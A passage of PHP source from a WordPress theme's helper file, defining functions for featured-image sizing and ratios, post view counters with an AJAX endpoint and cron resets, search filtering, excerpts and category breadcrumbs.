	add_filter('excerpt_more', 'penci_new_excerpt_more');
}

/**
 * Exclude pages form search results page
 * Hook to init action
 *
 * @return void
 *@since 1.0
 */
if (!function_exists('penci_remove_pages_from_search')) {
	add_action('pre_get_posts', 'penci_remove_pages_from_search');
	function penci_remove_pages_from_search($query) {

		if (!is_admin() && $query->is_main_query() && $query->is_search) {

			$post_types = get_post_types(
				array(
					'public' => true,
					'show_in_nav_menus' => true,
				),
				'names'
			);
			$array_include = array();
			foreach ($post_types as $key => $val) {
				$array_include[] = $key;
			}
			$exclude = array(
				'web-story',
				'e-landing-page',
				'penci-block',
				'penci_builder',
				'archive-template',
				'custom-post-template',
			);

			if (!get_theme_mod('penci_include_search_page')) {
				$exclude[] = 'page';
			}

			$array_include = array_diff($array_include, $exclude);
			$query->set('post_type', $array_include);
		}
	}
}

if (!function_exists('penci_get_default_thumbnail_url')) {
	function penci_get_default_thumbnail_url() {
		$image_holder = PENCI_SOLEDAD_URL . '/images/no-image.jpg';
		$user_upload = get_theme_mod( 'penci_default_thumbnail' );
		if ( $user_upload ) {
			$image_holder = $user_upload;
		}
		return esc_url($image_holder);
	}
}

if (!function_exists('penci_get_attachment_id_from_url')) {
	function penci_get_attachment_id_from_url($url) {
		// Get the attachment ID from the URL
		global $wpdb;

		// Remove the site URL from the file path
		$upload_dir_paths = wp_upload_dir();
		$url = str_replace($upload_dir_paths['baseurl'] . '/', '', $url);

		// Query the attachment ID from the database
		$attachment_id = $wpdb->get_var($wpdb->prepare("
			SELECT ID FROM $wpdb->posts
			WHERE guid RLIKE %s
			AND post_type = 'attachment'
		", $url));

		return $attachment_id;
	}
}

add_filter( 'post_thumbnail_id', function ( $thumbnail_id, $post ) {

	if ( ! is_admin() && ! $thumbnail_id ) {
		$user_upload = get_theme_mod( 'penci_default_thumbnail' );
		$thumbnail_id = $user_upload ? penci_get_attachment_id_from_url( $user_upload ) : '';
	}

	return $thumbnail_id;
}, 10, 2 );

/**
 * Get the featured image size url from post
 *
 * @since 3.1
 * @developed PenciDesign
 */
if (!function_exists('penci_get_featured_image_size')) {
	function penci_get_featured_image_size($id, $size = 'full') {
		if (!has_post_thumbnail($id)) {
			return penci_get_default_thumbnail_url();
		} else {
			$image_html = get_the_post_thumbnail($id, $size);
			preg_match('@src="([^"]+)"@', $image_html, $match);
			$src = array_pop($match);
			$src_check = $src && $src !== 'null' ? substr($src, -4) : '';

			if ($src_check == '.gif') {
				$image_full = get_the_post_thumbnail($id, 'full');
				preg_match('@src="([^"]+)"@', $image_full, $match_full);
				$src = array_pop($match_full);
			}

			return esc_url($src ? $src : '');
		}
	}
}

if (!function_exists('penci_get_featured_single_image_size')) {
	function penci_get_featured_single_image_size($id, $size = 'full', $enable_jarallax = false, $thumb_alt = '') {
		$ratio = '67';
		$src = penci_get_default_thumbnail_url();

		if (has_post_thumbnail($id)) {
			$image_html = get_the_post_thumbnail($id, $size);
			preg_match('@src="([^"]+)"@', $image_html, $match);
			$src = array_pop($match);
			$src_check = $src !== 'null' ? substr($src, -4) : '';

			if ($src_check == '.gif') {
				$image_full = get_the_post_thumbnail($id, 'full');
				$image_html = get_the_post_thumbnail($id, 'full');
				preg_match('@src="([^"]+)"@', $image_full, $match_full);
				$src = array_pop($match_full);
			}

			if (preg_match_all('#(width|height)=(\'|")?(?<dimensions>[0-9]+)(\'|")?#i', $image_html, $image_dis) && 2 == count((array) $image_dis['dimensions'])) {
				$width = isset($image_dis['dimensions'][0]) ? $image_dis['dimensions'][0] : 0;
				$height = isset($image_dis['dimensions'][1]) ? $image_dis['dimensions'][1] : 0;

				if ($width && $height) {
					$ratio = number_format($height / $width * 100, 4);
				}
			}
		}

		$class = 'attachment-penci-full-thumb size-penci-full-thumb penci-single-featured-img wp-post-image';
		$style_ratio = 'padding-top: ' . $ratio . '%;';

		if ($enable_jarallax) {
			$image_html = '<img class="jarallax-img" src="' . $src . '" alt="' . $thumb_alt . '">';
		} elseif (!get_theme_mod('penci_speed_disable_first_screen') || get_theme_mod('penci_disable_lazyload_fsingle')) {
			$image_html = '<span class="' . $class . ' penci-disable-lazy" style="background-image: url(' . $src . ');' . $style_ratio . '"></span>';
		} else {
			$src = penci_image_srcset($id, $size, 'penci-masonry-thumb');
			$image_html = '<span class="' . $class . ' penci-lazy" data-bgset="' . $src . '" style="' . $style_ratio . '"></span>';
		}

		return $image_html;
	}
}

/*
 * Get featured image ratio based on the post ID & thumbnail size.
 */

if (!function_exists('penci_get_featured_image_padding_markup')) {
	function penci_get_featured_image_padding_markup($postid, $image_thumb = 'full', $return_ratio = null) {
		$ratio = '66.6666667';

		if (has_post_thumbnail($postid)) {
			$image = get_the_post_thumbnail($postid, $image_thumb);
		} else {
			$image = '<img src="' . penci_get_default_thumbnail_url() . '" alt="' . __('No Thumbnail', 'pencidesign') . '" />';
		}

		if (preg_match_all('#(width|height)=(\'|")?(?<dimensions>[0-9]+)(\'|")?#i', $image, $image_dis) && 2 == count((array) $image_dis['dimensions'])) {
			$ratio = number_format(($image_dis['dimensions'][1] / $image_dis['dimensions'][0]) * 100, 8);
		}

		$output = '<span class="penci-isotope-padding" style="padding-bottom:' . $ratio . '%;"></span>';

		if ($return_ratio) {
			$output = $ratio;
		}

		return $output;
	}
}

/* Get ratio markup for post format gallery */
if (!function_exists('penci_get_ratio_img_format_gallery')) {
	function penci_get_ratio_img_format_gallery($image) {
		$ratio = '66.6666667';
		/* $image = wp_get_attachment_image_src( $image_id, $thumbnail_size ); */

		if (!empty($image)) {
			$img_width = isset($image[1]) ? $image[1] : '';
			$img_height = isset($image[2]) ? $image[2] : '';
			if ($img_width && $img_height) {
				$ratio = number_format(($img_height / $img_width) * 100, 8);
			}
		}

		$output = '<span class="penci-isotope-padding" style="padding-bottom:' . $ratio . '%;"></span>';

		return $output;
	}
}

if (!function_exists('penci_get_list_image_sizes')) {
	function penci_get_list_image_sizes($default = false) {
		$wp_image_sizes = penci_get_all_image_sizes();

		$image_sizes = array();

		if ($default) {
			$image_sizes[esc_html__('Default', 'soledad')] = '';
		}

		foreach ($wp_image_sizes as $size_key => $size_attributes) {
			$control_title = ucwords(str_replace('_', ' ', $size_key));
			if (is_array($size_attributes)) {
				$control_title .= sprintf(' - %d x %d', $size_attributes['width'], $size_attributes['height']);
			}

			$image_sizes[$control_title] = $size_key;
		}

		$image_sizes[_x('Full', 'Image Size Control', 'soledad')] = 'full';

		return $image_sizes;
	}
}
if (!function_exists('penci_get_all_image_sizes')) {
	function penci_get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = array('thumbnail', 'medium', 'medium_large', 'large');

		$image_sizes = array();

		foreach ($default_image_sizes as $size) {
			$image_sizes[$size] = array(
				'width' => (int) get_option($size . '_size_w'),
				'height' => (int) get_option($size . '_size_h'),
				'crop' => (bool) get_option($size . '_crop'),
			);
		}

		if ($_wp_additional_image_sizes) {
			$image_sizes = array_merge($image_sizes, $_wp_additional_image_sizes);
		}

		return $image_sizes;
	}
}

/**
 * Get image ratio based on image size
 *
 * @since 6.3
 * @developed PenciDesign
 */
if (!function_exists('penci_get_featured_image_ratio')) {
	function penci_get_featured_image_ratio($id, $size = 'full') {
		$ratio = '66.6667';

		if (has_post_thumbnail($id)) {
			$image_html = get_the_post_thumbnail($id, $size);
			preg_match('@src="([^"]+)"@', $image_html, $match);
			$src = array_pop($match);
			$src_check = $src !== null ? substr($src, -4) : '';

			if ($src_check == '.gif') {
				$image_html = get_the_post_thumbnail($id, 'full');
			}

			if (preg_match_all('#(width|height)=(\'|")?(?<dimensions>[0-9]+)(\'|")?#i', $image_html, $image_dis) && 2 == count((array) $image_dis['dimensions'])) {
				$width = isset($image_dis['dimensions'][0]) ? $image_dis['dimensions'][0] : 0;
				$height = isset($image_dis['dimensions'][1]) ? $image_dis['dimensions'][1] : 0;

				if ($width && $height) {
					$ratio = number_format($height / $width * 100, 4);
				}
			}
		}

		return $ratio;
	}
}

/**
 * Convert image URL to image path
 *
 * @since 8.2.1
 * @developed PenciDesign
 */
if (!function_exists('penci_get_image_path')) {
	function penci_get_image_path($image_url) {
		$file = '';
		$parsed_url = parse_url($image_url);
		if (!empty($parsed_url['path'])) {
			$file = ABSPATH . ltrim($parsed_url['path'], '/');
		}
		return $file && stream_resolve_include_path($file) ? $file : '';
	}
}

/**
 * Get the featured image size url based on featured image full url
 *
 * @since 3.1
 * @developed PenciDesign
 */
if (!function_exists('penci_get_image_size_url')) {
	function penci_get_image_size_url($image_url, $size = 'full') {
		$image_thumb_html = $image_url;

		$imgsizes = penci_get_all_image_sizes();
		if (isset($imgsizes[$size])) {

			$filetype = wp_check_filetype($image_url);
			$filetype_ext = isset($filetype['ext']) ? $filetype['ext'] : '';
			if ($filetype_ext && $filetype_ext != 'gif') {

				$width = $imgsizes[$size]['width'];
				$height = $imgsizes[$size]['height'];
				$crop = $imgsizes[$size]['crop'];

				$original_width = '';
				$original_height = '';
				$original_check = penci_get_image_path($image_url);

				if ($original_check) {
					list($original_width, $original_height) = getimagesize($original_check);
				}

				if ((!$height || $height == 99999 || $height > $original_height) && $original_width > $width && !$crop) {
					$height = round($width * ($original_height / $original_width));
				} elseif ($crop & $height > $original_height) {
					$height = $original_height;
				}

				$width = min($width, $original_width);

				$imgcheck = str_replace('.' . $filetype_ext, '-' . $width . 'x' . $height . '.' . $filetype_ext, $image_thumb_html);

				if (penci_get_image_path($imgcheck)) {
					$image_thumb_html = $imgcheck;
				}
			}
		}

		return $image_thumb_html;
	}
}

/**
 * Get image ratio based on the image URL
 *
 * @since 7.9
 * @developed PenciDesign
 */
if (!function_exists('penci_get_ratio_size_based_url')) {
	function penci_get_ratio_size_based_url($image_url) {
		$return = '66.66667';

		$cache_key = 'pc_idata_' . md5($image_url);

		$data = get_transient($cache_key);
		if ($data && is_array($data)) {
			$return = number_format(($data['w'] / $data['h']) * 100, 5);
		}
		$image_path = penci_get_image_path($image_url);
		if ($image_path) {
			list($width, $height) = getimagesize($image_path);
			if ($width && $height) {
				$return = number_format(($width / $height) * 100, 5);
				set_transient(
					$cache_key,
					array(
						'w' => $width,
						'h' => $height,
					),
					604800
				);
			}
		}

		return $return;
	}
}

/**
 * Get the image width/height based on the image URL
 *
 * @since 3.1
 * @developed PenciDesign
 */
if (!function_exists('penci_get_image_data_basedurl')) {
	function penci_get_image_data_basedurl($image_url, $data = 'w') {
		$return = $width = $height = '';
		$cache_key = 'pc_idata_' . md5($image_url);
		$data_cache = get_transient($cache_key);
		$penci_image_path = penci_get_image_path($image_url);
		if ($data_cache) {
			$width = $data_cache['w'];
			$height = $data_cache['h'];
		} elseif ($penci_image_path) {
			list($width, $height) = getimagesize($penci_image_path);
			if ($width && $height) {
				set_transient(
					$cache_key,
					array(
						'w' => $width,
						'h' => $height,
					),
					604800
				);
			}
		}
		if ($data == 'w' && $width) {
			$return = $width;
		} elseif ($data == 'h' && $height) {
			$return = $height;
		} elseif ($data == 'url') {
			$return = $image_url;
		}

		return $return;
	}
}

/**
 * Get the featured image width/height based on the post ID
 *
 * @since 8.0
 */
if (!function_exists('penci_get_image_data_based_post_id')) {
	function penci_get_image_data_based_post_id($postid, $image_thumb, $data = 'w', $echo = true) {
		$return = '';
		if (has_post_thumbnail($postid)) {
			$image = get_the_post_thumbnail($postid, $image_thumb);
			if (preg_match_all('#(width|height)=(\'|")?(?<dimensions>[0-9]+)(\'|")?#i', $image, $image_dis) && 2 == count((array) $image_dis['dimensions'])) {
				$height = $image_dis['dimensions'][1];
				$width = $image_dis['dimensions'][0];
				if ('h' == $data) {
					$return = $height;
				} elseif ('w' == $data) {
					$return = $width;
				}
			}
		}

		if (!$echo) {
			return $return;
		} else {
			echo $return;
		}
	}
}

/**
 * Get the featured image type display on the layouts
 *
 * @since 5.3
 * @developed PenciDesign
 */
if (!function_exists('penci_featured_images_size')) {
	function penci_featured_images_size($size = 'normal') {

		$return_size = 'penci-thumb';
		if ('small' == $size) {
			$return_size = 'penci-thumb-small';
		} elseif ('large' == $size) {
			$return_size = 'penci-magazine-slider';
		} elseif ( 'masonry' == $size ) {
			$return_size = 'penci-masonry-thumb';
		}

		$customize_data = get_theme_mod('penci_featured_image_size');
		if ('square' == $customize_data) {
			$return_size = 'penci-thumb-square';
			if ('large' == $size) {
				$return_size = 'penci-full-thumb';
			}
		} elseif ('vertical' == $customize_data) {
			$return_size = 'penci-thumb-vertical';
			if ('large' == $size) {
				$return_size = 'penci-full-thumb';
			}
		}

		return $return_size;
	}
}

/**
 * Get the featured image type display on the layouts
 *
 * @since 5.3
 * @developed PenciDesign
 */
if (!function_exists('penci_featured_images_size_vcel')) {
	function penci_featured_images_size_vcel($size = 'normal', $image_size = '', $custom_size = null) {

		$return_size = 'penci-thumb';
		if ('small' == $size) {
			$return_size = 'penci-thumb-small';
		} elseif ('large' == $size) {
			$return_size = 'penci-magazine-slider';
		}

		$customize_data = get_theme_mod('penci_featured_image_size');
		if ($image_size) {
			$customize_data = $image_size;
		}

		if ('horizontal' == $customize_data) {
			$return_size = 'penci-thumb';
			if ('small' == $size) {
				$return_size = 'penci-thumb-small';
			} elseif ('large' == $size) {
				$return_size = 'penci-magazine-slider';
			}
		} elseif ('square' == $customize_data) {
			$return_size = 'penci-thumb-square';
			if ('large' == $size) {
				$return_size = 'penci-full-thumb';
			}
		} elseif ('vertical' == $customize_data) {
			$return_size = 'penci-thumb-vertical';
			if ('large' == $size) {
				$return_size = 'penci-full-thumb';
			}
		} elseif ('custom' == $customize_data) {
			if ($custom_size) {
				$return_size = $custom_size;
			}
		}

		return $return_size;
	}
}

/**
 * Get the author posts link
 *
 * @since 8.0
 * @developed PenciDesign
 */
if (!function_exists('penci_get_the_author_posts_link')) {
	function penci_get_the_author_posts_link($author_id = null) {

		global $authordata;
		
		if ($author_id) {
			$authorID = $author_id;
			$authorNicename = get_the_author_meta('user_nicename', $authorID);
			$authorDisplay = get_the_author_meta('display_name', $authorID);
		} elseif (is_object($authordata)) {
			$authorID = $authordata->ID;
			$authorNicename = $authordata->user_nicename;
			$authorDisplay = get_the_author();
		} elseif (!is_object($authordata)) {
			return '';
		}

		$authorLink = esc_url(get_author_posts_url($authorID, $authorNicename));
		

		if (!$authorDisplay && function_exists('get_the_coauthor_meta')) {
			$authorDisplay = get_the_coauthor_meta('display_name', $author_id);
			$authorDisplay = $authorDisplay[$author_id];

			$authorLink = get_the_coauthor_meta('url', $author_id);
			$authorLink = isset($authorLink[$author_id]) && $authorLink[$author_id] ? $authorLink[$author_id] : '';

		}

		$link = sprintf(
			'<a href="%1$s" title="%2$s" rel="author">%3$s</a>',
			$authorLink,
			/* translators: %s: Author's display name. */
			esc_attr(penci_get_setting('penci_trans_author') . ' ' . $authorDisplay),
			$authorDisplay
		);

		return apply_filters('the_author_posts_link', $link);
	}
}

/**
 * Get the featured image type display on category mega menu items
 *
 * @since 5.3
 * @developed PenciDesign
 */
if (!function_exists('penci_megamenu_featured_images_size')) {
	function penci_megamenu_featured_images_size() {

		$return_size = 'penci-thumb';

		$customize_data = get_theme_mod('penci_mega_featured_image_size');
		if ('square' == $customize_data) {
			$return_size = 'penci-thumb-square';
		} elseif ('vertical' == $customize_data) {
			$return_size = 'penci-thumb-vertical';
		}

		return $return_size;
	}
}

/**
 * Setup functions to count viewed posts to create popular posts
 *
 * @param string $postID - post ID of this post
 *
 * @return numbers viewed posts
 * @since 1.0
 */
if (!function_exists('penci_get_postviews_key')) {
	function penci_get_postviews_key() {
		$count_key = 'penci_post_views_count';
		if (('custom' == get_theme_mod('penci_general_views_meta')) && get_theme_mod('penci_general_views_key')) {
			$count_key = get_theme_mod('penci_general_views_key');
		}

		return apply_filters('penci_get_postviews_key', $count_key);
	}
}

/**
 * Setup functions to count viewed posts to create popular posts
 *
 * @param string $postID - post ID of this post
 *
 * @return numbers viewed posts
 * @since 1.0
 */
if (!function_exists('penci_get_post_views')) {
	function penci_get_post_views($postID) {
		$count_key = penci_get_postviews_key();
		$count = get_post_meta($postID, $count_key, true);
		$return = $count;
		if ($count == '') {
			delete_post_meta($postID, $count_key);
			add_post_meta($postID, $count_key, '0');

			$return = 0;
		}

		$return = absint($return);
		if ($return >= 1000000) {
			$count_x = number_format_i18n($return / 1000000, 1);
			$trim_0 = rtrim(rtrim($count_x, '0'), '.');
			$return = apply_filters('penci_filter_post_views_number', $trim_0 . penci_get_setting('penci_trans_m_number'));
		} elseif ($return >= 1000) {
			$count_x = number_format_i18n($return / 1000, 1);
			$trim_0 = rtrim(rtrim($count_x, '0'), '.');
			$return = apply_filters('penci_filter_post_views_number', $trim_0 . penci_get_setting('penci_trans_k_number'));
		} else {
			$return = apply_filters('penci_filter_post_views_number', number_format_i18n($return));
		}

		return apply_filters('penci_get_post_views', $return);
	}
}

if (!function_exists('penci_set_post_views')) {
	function penci_set_post_views($postID) {
		if (get_theme_mod('penci_enable_ajax_view')) {
			add_action('wp_footer', 'penci_cview_ajax_footer_script', 999);
			return;
		}

		$count_key = penci_get_postviews_key();
		$count_dkey = 'penci_post_day_views_count';
		$count_wkey = 'penci_post_week_views_count';
		$count_mkey = 'penci_post_month_views_count';
		$count = get_post_meta($postID, $count_key, true);
		$count_d = get_post_meta($postID, $count_dkey, true);
		$count_w = get_post_meta($postID, $count_wkey, true);
		$count_m = get_post_meta($postID, $count_mkey, true);

		/* Update views count all time */
		if ($count == '') {
			$count = 0;
			delete_post_meta($postID, $count_key);
			add_post_meta($postID, $count_key, $count);
		} else {
			++$count;
			update_post_meta($postID, $count_key, $count);
		}

		/* Update views count week */
		if ($count_d == '') {
			$count_d = 0;
			delete_post_meta($postID, $count_dkey);
			add_post_meta($postID, $count_dkey, $count_d);
		} else {
			++$count_d;
			update_post_meta($postID, $count_dkey, $count_d);
		}

		/* Update views count week */
		if ($count_w == '') {
			$count_w = 0;
			delete_post_meta($postID, $count_wkey);
			add_post_meta($postID, $count_wkey, $count_w);
		} else {
			++$count_w;
			update_post_meta($postID, $count_wkey, $count_w);
		}

		/* Update views count month */
		if ($count_m == '') {
			$count_m = 0;
			delete_post_meta($postID, $count_mkey);
			add_post_meta($postID, $count_mkey, $count_m);
		} else {
			++$count_m;
			update_post_meta($postID, $count_mkey, $count_m);
		}
	}
}

if (!function_exists('penci_cview_ajax_footer_script')):
	function penci_cview_ajax_footer_script() {
		?>
				<script type="text/javascript">
					function PenciSimplePopularPosts_AddCount(id, endpoint)
					{
						var xmlhttp
						var params = '/?penci_spp_count=1&penci_spp_post_id=' + id + '&cachebuster=' +  Math.floor((Math.random() * 100000))
						// code for IE7+, Firefox, Chrome, Opera, Safari

						if (window.XMLHttpRequest){
							xmlhttp=new XMLHttpRequest()
						}else{
							xmlhttp=new ActiveXObject('Microsoft.XMLHTTP')
						}

						xmlhttp.onreadystatechange=function(){
							if ( xmlhttp.readyState == 4 && xmlhttp.status == 200 && document.getElementsByClassName( 'penci-post-countview-number' ).length > 0 ) {
								var data = JSON.parse( xmlhttp.responseText )
								document.getElementsByClassName( 'penci-post-countview-number' )[0].innerHTML = data.visits
							}
						}

						xmlhttp.open('GET', endpoint + params, true)
						xmlhttp.send()
					}
					PenciSimplePopularPosts_AddCount(<?php echo get_the_ID(); ?>, '<?php echo get_site_url(); ?>')
				</script>
						<?php
	}
endif;
if (!function_exists('penci_cview_ajax_query_vars')):
	function penci_cview_ajax_query_vars($query_vars) {
		if (get_theme_mod('penci_enable_ajax_view')) {
			$query_vars[] = 'penci_spp_count';
			$query_vars[] = 'penci_spp_post_id';
		}

		return $query_vars;
	}
	add_filter('query_vars', 'penci_cview_ajax_query_vars');
endif;

if (!function_exists('penci_cview_ajax_count')):
	function penci_cview_ajax_count() {
		/**
		 * Endpoint for counting visits
		 */
		if (intval(get_query_var('penci_spp_count')) === 1 && intval(get_query_var('penci_spp_post_id')) !== 0) {
			// JSON response
			header('Content-Type: application/json');
			$postID = intval(get_query_var('penci_spp_post_id'));
			$count_key = penci_get_postviews_key();
			$count_dkey = 'penci_post_day_views_count';
			$count_wkey = 'penci_post_week_views_count';
			$count_mkey = 'penci_post_month_views_count';
			$count 	 = get_post_meta($postID, $count_key, true);
			$count_d = get_post_meta($postID, $count_dkey, true);
			$count_w = get_post_meta($postID, $count_wkey, true);
			$count_m = get_post_meta($postID, $count_mkey, true);
			$current_count = 0;

			/* Update views count all time */
			if ($count == '') {
				$count = 0;

				$current_count = $count;
				delete_post_meta($postID, $count_key);
				add_post_meta($postID, $count_key, $count);
			} else {
				++$count;

				$current_count = $count;
				update_post_meta($postID, $count_key, $count);
			}

			/* Update views count day */
			if ($count_d == '') {
				$count_d = 0;
				delete_post_meta($postID, $count_dkey);
				add_post_meta($postID, $count_dkey, $count_d);
			} else {
				++$count_d;
				update_post_meta($postID, $count_dkey, $count_d);
			}

			/* Update views count week */
			if ($count_w == '') {
				$count_w = 0;
				delete_post_meta($postID, $count_wkey);
				add_post_meta($postID, $count_wkey, $count_w);
			} else {
				++$count_w;
				update_post_meta($postID, $count_wkey, $count_w);
			}

			/* Update views count month */
			if ($count_m == '') {
				$count_m = 0;
				delete_post_meta($postID, $count_mkey);
				add_post_meta($postID, $count_mkey, $count_m);
			} else {
				++$count_m;
				update_post_meta($postID, $count_mkey, $count_m);
			}

			echo json_encode(
				array(
					'status' => 'OK',
					'visits' => intval($current_count),
				)
			);
			die();
		}
	}
	add_action('wp', 'penci_cview_ajax_count');
endif;

/**
 * Add schedules intervals
 *
 * @param  array $schedules
 *
 * @return array
 *@since  2.5.1
 */
add_filter('cron_schedules', 'penci_add_schedules_intervals');
if (!function_exists('penci_add_schedules_intervals')) {
	function penci_add_schedules_intervals($schedules) {

		$schedules['daily'] = array(
			'interval' => 86400,
			'display' => __('Daily', 'soledad'),
		);

		$schedules['weekly'] = array(
			'interval' => 604800,
			'display' => __('Weekly', 'soledad'),
		);

		$schedules['monthly'] = array(
			'interval' => 2635200,
			'display' => __('Monthly', 'soledad'),
		);

		return $schedules;
	}
}

/**
 * Add scheduled event during theme activation
 *
 * @return void
 *@since  2.5.1
 */
add_action('after_switch_theme', 'penci_add_schedule_events');
if (!function_exists('penci_add_schedule_events')) {
	function penci_add_schedule_events() {

		if (!wp_next_scheduled('penci_reset_track_data_daily')) {
			wp_schedule_event(time(), 'daily', 'penci_reset_track_data_daily');}

		if (!wp_next_scheduled('penci_reset_track_data_weekly')) {
			wp_schedule_event(time(), 'weekly', 'penci_reset_track_data_weekly');}

		if (!wp_next_scheduled('penci_reset_track_data_monthly')) {
			wp_schedule_event(time(), 'monthly', 'penci_reset_track_data_monthly');}
	}
}

/**
 * Remove scheduled events when theme deactived
 *
 * @return void
 *@since  2.5.1
 */
add_action('switch_theme', 'penci_remove_schedule_events');
if (!function_exists('penci_remove_schedule_events')) {
	function penci_remove_schedule_events() {
		wp_clear_scheduled_hook('penci_reset_track_data_daily');
		wp_clear_scheduled_hook('penci_reset_track_data_weekly');
		wp_clear_scheduled_hook('penci_reset_track_data_monthly');
	}
}

/**
 * Reset view counter of week
 *
 * @return void
 *@since  2.5.1
 */
add_action('penci_reset_track_data_weekly', 'penci_reset_week_view');
if (!function_exists(
	'penci_reset_week_view

'
)) {
	function penci_reset_week_view() {
		global $wpdb;

		$meta_key = 'penci_post_week_views_count';
		$wpdb->query($wpdb->prepare("UPDATE $wpdb->postmeta SET meta_value = '0' WHERE meta_key = %s", $meta_key));
	}
}

/**
 * Reset view counter of month
 *
 * @return void
 *@since  2.5.1
 */
add_action('penci_reset_track_data_monthly', 'penci_reset_month_view');
if (!function_exists('penci_reset_month_view')) {
	function penci_reset_month_view() {
		global $wpdb;

		$meta_key = 'penci_post_month_views_count';
		$wpdb->query($wpdb->prepare("UPDATE $wpdb->postmeta SET meta_value = '0' WHERE meta_key = %s", $meta_key));
	}
}

/**
 * Reset view counter of day
 *
 * @return void
 *@since  8.4.6
 */
add_action('penci_reset_track_data_daily', 'penci_reset_daily_view');
if (!function_exists('penci_reset_daily_view')) {
	function penci_reset_daily_view() {
		global $wpdb;

		$meta_key = 'penci_post_day_views_count';
		$wpdb->query($wpdb->prepare("UPDATE $wpdb->postmeta SET meta_value = '0' WHERE meta_key = %s", $meta_key));
	}
}


/**
 * Get custom excerpt length from the_content() function
 * Will use this function and call it in penci_add_fb_open_graph_tags() function
 *
 * @return excerpt content from the_content
 *@since 1.1
 */

if (!function_exists('penci_trim_excerpt_from_content')) {
	function penci_trim_excerpt_from_content($text, $excerpt) {

		if ($excerpt) {
			return $excerpt;}

		$text = strip_shortcodes($text);

		$text = apply_filters('the_content', $text);
		$text = str_replace(']]>', ']]&gt;', $text);
		$text = strip_tags($text);
		$excerpt_length = apply_filters('excerpt_length', 55);
		$excerpt_more = apply_filters('excerpt_more', ' ' . '...');
		$words = preg_split(
			"/[\n
	 ]+/",
			$text,
			$excerpt_length + 1,
			PREG_SPLIT_NO_EMPTY
		);
		if (count($words) > $excerpt_length) {
			array_pop($words);
			$text = implode(' ', $words);
			$text = $text . $excerpt_more;
		} else {
			$text = implode(' ', $words);
		}

		return apply_filters('wp_trim_excerpt', $text, $excerpt);
	}
}

/**
 * Get categories parent list
 *
 * @since 3.2
 */
if (!function_exists('penci_get_category_parents')) {
	function penci_get_category_parents($id) {
		$chain = '';
		$parent = get_term($id, 'category');

		if (is_wp_error($parent)) {
			return '';}

		$name = $parent->name;

		if ($parent->parent && ($parent->parent != $parent->term_id)) {
			$chain .= penci_get_category_parents($parent->parent);
		}

		$chain .= '<span><a class="crumb" href="' . esc_url(get_category_link($parent->term_id)) . '">' . $name . '</a></span>' . penci_icon_by_ver('fas fa-angle-right') . '</i>';

		return $chain;
	}
}

/**
 * Get category parent of a category
 *
 * @since 3.2
 */
if (!function_exists('penci_get_category_parent_id')) {
	function penci_get_category_parent_id($id) {
		$return = '';
		$parent = get_term($id, 'category');

		if (is_wp_error($parent)) {
			return '';}

		if ($parent->parent && $parent->parent != $parent->term_id) {
			$return = $parent->parent;
		}

		return $return;
	}
}

/**
 * Return google adsense markup
 *
 * @since 3.2
 */
if (!function_exists('penci_render_google_adsense')) {
	function penci_render_google_adsense($option) {
		if (!get_theme_mod($option)) {
			return '';}

		return '<div class="penci-google-adsense ' . $option . '">' . penci_safe_shortcode(get_theme_mod($option)) . '</div>';
	}
}

/**
 * Add Next Page/Page Break Button to WordPress Visual Editor
 *
 * @since 4.0.3
 */
if (!function_exists('penci_add_next_page_button_to_editor')) {
	add_filter('mce_buttons', 'penci_add_next_page_button_to_editor', 1, 2);
	function penci_add_next_page_button_to_editor($buttons, $id) {

		/* only add this for content editor */
		if ('content' != $id) {
			return $buttons;}

		/* add next page after more tag button */
		array_splice($buttons, 13, 0, 'wp_page');

		return $buttons;
	}
}

/**
 * Exclude specific categories from latest posts on Homepage
 *
 * @since 2.4
 */
if (!function_exists('penci_exclude_specific_categories_display_on_home')) {
	function penci_exclude_specific_categories_display_on_home($query) {
		if (get_theme_mod('penci_home_exclude_cat')) {

			$exclude_cat = get_theme_mod('penci_home_exclude_cat');
			$exclude_cats = str_replace(' ', '', $exclude_cat);
			$exclude_array = explode(',', $exclude_cats);

			if ($query->is_home() && $query->is_main_query()) {
				$query->set(
					'tax_query',
					array(
						array(
							'taxonomy' => 'category',
							'field' => 'slug',
							'terms' => $exclude_array,
							'operator' => 'NOT IN',
						),
					)
				);
			}
		}
	}

	add_action('pre_get_posts', 'penci_exclude_specific_categories_display_on_home');
}

/**
 * Anbles shortcodes in WordPress widget text
 *
 * @since 1.2.3
 */
add_filter('widget_text', 'do_shortcode');

/**
 * Get image alt by image ID
 * If the alt is null - return posts ID
 *
 * @since 5.2
 */
if (!function_exists('penci_get_image_alt')) {
	function penci_get_image_alt($thumb_id, $postID = null) {
		$thumb_alt = '';
		$thumb_alt = get_post_meta($thumb_id, '_wp_attachment_image_alt', true);

		if ($thumb_alt) {
			$thumb_alt = $thumb_alt;
		}

		return esc_attr($thumb_alt);
	}
}

/**
 * Check if post format + data of post format is available
 *
 * @return boolean or data of post format
 */
if (!function_exists('penci_get_post_format')) {
	function penci_get_post_format($format, $getdata = null) {
		$return = false;
		$post_id = get_the_ID();
		$data = '';
		if (has_post_format('link') && ($format == 'link')) {
			$data = get_post_meta($post_id, '_format_link_url', true);
		} elseif (has_post_format('quote') && ($format == 'quote')) {
			$data = get_post_meta($post_id, '_format_quote_source_name', true);
		} elseif (has_post_format('gallery') && ($format == 'gallery')) {
			$data = get_post_meta($post_id, '_format_gallery_images', true);
		} elseif (has_post_format('video') && ($format == 'video')) {
			$data = get_post_meta($post_id, '_format_video_embed', true);
		} elseif (has_post_format('audio') && ($format == 'audio')) {
			$data = get_post_meta($post_id, '_format_audio_embed', true);
		}

		if ($data) {
			$return = true;
		}

		if ('data' == $getdata && $data) {
			return $data;
		}

		return $return;
	}
}

/**
 * Get image title by image ID
 *
 * @since 5.2
 */
if (!function_exists('penci_get_image_title')) {
	function penci_get_image_title($thumb_id) {
		if (get_theme_mod('penci_disable_image_titles_galleries')) {
			return '';
		}

		$thumb_title = $thumb_title_html = '';
		$thumb_title = get_the_title($thumb_id);

		if ($thumb_title) {
			$thumb_title_html = ' title="' . esc_attr($thumb_title) . '"';
		}

		return $thumb_title_html;
	}
}

/* Build Inline related posts shortcode based on the options from Customizer */
if (!function_exists('penci_inline_related_posts_shortcode')) {
	function penci_inline_related_posts_shortcode($beaf = false) {

		$style = get_theme_mod('penci_inlinerp_style') ? get_theme_mod('penci_inlinerp_style') : 'list';
		$title = penci_get_setting('penci_inlinerp_title') ? penci_get_setting('penci_inlinerp_title') : '';
		$title_align = get_theme_mod('penci_inlinerp_titalign') ? get_theme_mod('penci_inlinerp_titalign') : 'left';
